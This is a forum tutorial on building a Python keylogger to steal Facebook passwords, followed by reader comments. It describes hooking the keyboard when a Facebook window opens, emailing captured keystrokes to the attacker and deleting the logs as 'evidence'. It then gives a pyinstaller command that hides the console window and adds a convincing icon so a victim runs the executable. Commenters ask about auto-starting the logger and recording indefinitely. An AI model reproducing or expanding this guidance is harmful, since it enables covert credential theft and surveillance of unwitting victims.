Hi guys, I am back. And as I promised I will be bringing you a way to hack someone's facebook. You can use it for any other thing as well, not just facebook. Let's get started.
Step 1: Importing and Persistence
So if you have seen my bind shell program you will understand the persistence part
pythoncom & pyHook - for the keylogger functionality. pyHook allows us to hook the keyboard and mouse.
win32gui - is a Windows module for creating and doing other stuff with windows gui
mechanize - is so you can simulate browser functionality
subprocess - so we can execute command line commands...lol
Step 2: Sending the Keystrokes
This part I won't really explain because it is the same as my anonymous email sending program. Just check that one out for this part of the explanation if you are confused. :D
The last part though just makes sure the email has been sent successfully and then deletes the logs(evidence)....
Step 3: The Main Configuration
the fbkmain function is where the keylogger functionality is..it creates a file and then hook the keyboard and stuff....
Also first of all, it checks if the opened window to see if it is facebook and then it starts logging...
Step 4: The Keylogging
This is the function called when we hook the keyboard...it checks what key was pressed and saves it in our log file...and checks if the length of the file is 500 characters or more...then it sends the contents of the file to our email address....you can add more email addresses if you want just in case....
And now the stop function is just so it doesn't run forever and send us logs everytime...lol...so after 30 mins it closes itself...
Now the Deploy!! Muhahaha!!!
Okay, so our victim might not have all these fancy modules and python installed, so we are gonna use pyinstaller to convert it to an exe so we can easily run it on their computer
python pyinstaller.py --onefile --noconsole --ico=anyimage.ico keylogger.py
--onefile - to make it just a single executable
--noconsole - to prevent a console window from popping up
--ico - .ico image to make it more convincing
Conclusion
Thanks for taking the time to read this tutorial... I hope you enjoyed it. And I will see you next time. And I also don't take responsibility for all the stuff you do with this. It is completely up to you.
Here is the code(The pastebin paste was removed. So this is the updated link) : https://ghostbin.com/paste/nfwg2
Happy hacking!!
Wuzi out!!! :D
27 Responses
I am must say I am impressed! And I am certainly gonna test this out. If I understand correctly all keys in that 500 character window will be recorded right? This could be anything pressed in that time window?
Not exactly...what ever is typed after facebook is opened will be recorded. ..so if the person closes the window...it will still be recording
Hi i can't able to view code now. can you share me updated link. It's very urgent
Please watch your language within your articles. This is supposed to be a professional evironment.
-Defalt
I've edited it guys.
Thanks
cool
code not found
Thanks for the notification. ..I will paste it again and update the link later
Please do, appreciate your work <3
Sorry if i kept too long. I have updated the link tho. https://ghostbin.com/paste/nfwg2 Thanks for the appreciation too. :D
Wuzi out!!
And do i need to start a listener to be able to get the "keylogged" information back then? Or how do i recieve the recorded keys?
p.s.
Error no module named pythoncom...
Where can I get pytoncom?
U didnt explain that much, but nice keylogger by the way :)
I Hope u are able to help me...
for the pythoncom you will need to download pywin32 and install it...you can google it...it's pretty easy to find.
And it will be sent to the email you provided....you do not need to start any listener of some kind...so you can say your email server is kinda like a listener...lol....
Thanks tho...I hope this helps you
Wuzi out!!
Alright i found one who matched my python version 2.7....
but when i tried installing it this error appeared, do you know what i shall do to handle it?
The script cant find pythoncom, the error prevended it?!
I don't really understand your question. But installing the pywin32 module will get you everything you need. So check to make sure you have the right one for your python installation
YES! THANK YOU!
Hi August...did it work for you??
Okay, so our victim might not have all these fancy modules and python installed, so we are gonna use pyinstaller to convert it to an exe so we can easily run it on their computer
python pyinstaller.py --onefile --noconsole --ico=anyimage.ico keylogger.py
--onefile - to make it just a single executable
--noconsole - to prevent a console window from popping up
--ico - .ico image to make it more convincing
i dont really understand this part, can u explain me how to use pyinstaller to set up the last part ?
and do the victim has to start the exe so it can work ?
Pyinstaller is just a tool that was written to convert py scripts to exe(for windows) or another platforms. Since our victim might not have python installed on their computers we won't be able to run the script on their pc, so we need to convert it to an exe so that it can be run like a normal executable on windows. So we use pyinstaller to convert the py script to exe. And we can just run it to execute.
And yes, the victim has to run the exe for it to work.
The --options are just additional options needed to make the exe.
I hope you understand.
can someone help here?
https://null-byte.wonderhowto.com/forum/kali-linux-port-forwarding-443-https-creating-payloads-for-wan-over-public-ip-0169482/
Do I need Admin Access in order to execute the file?
How to auto start the keylogger whenever the PC is turned on ?? And I want the key logger to record indefinitely so should i only remove 60x30 or the whole stop def??
Hello
I want o create a keylogger for android cell phone
Pleas Help me
Hi there
Just wanted to know if this method works if target is on a mac device?
Thanks
Such a great tutorial man! I owe you a beer.
you did good explanation but....can you explain more further about these lines of codes:-
worm = os.path.split(sys.argv0)1
br.sethandleequiv(True) br.sethandleredirect(True) br.sethandlereferer(True) br.sethandlerobots(False) br.setdebughttp(False) br.setdebugredirects(False)
br.select_forms(nr=0)
if event.KeyID == 5:
g.close()
sys.exit()
logs = chr(event.Ascii)
g.write(logs)
g.close()
hm.KeyDown = OnKeyboardEvent
THANKYOU
If you want to be on level with Kody then please start giving links to the things you refer to if you want to make things easy for you and us :)
Takes you 10 sek to put the link to the article for you, but we may never find it - like 50% or more have æikely never read your article 1 you have to remember. The side bar made me come here, sounded interesting, but now you failed not giving the reader a link ( amateurish ) but you gave us a "smartass" smiley like we are dumb or lazy and your totally smart and cool. ( It is not so bad as I just made it, but deeply non-serious and kinda dumbass rude tbh ) :)
I hope your content is good and I find the part I need to read prior within 2 searches otherwise i'm out like everyone else. 1 on null bytes, and 1 on google. Thats the chances the reader is gonna give it finding your part 1 at best.
This kind of "mistakes" is what makes or breake the article - losing the reader. The difference from a good ( professional )author or a bad ( amature )
I hope you take this to heart, otherwise your wasting your time :)
Is there any way to embed a link with code into facebook and Tik Tok to fool a user to return their ISP address? My wife has a LOT of brutal cyberbullies that hide behind their keyboards and we cant do anything if we dont know their location. Does anyone on here have any idea what can be done to pinpoint their Province or (State) , City , ISP number???
By the way, I'm really wondering how to do this, I'm also looking for help in this matter.
Share Your Thoughts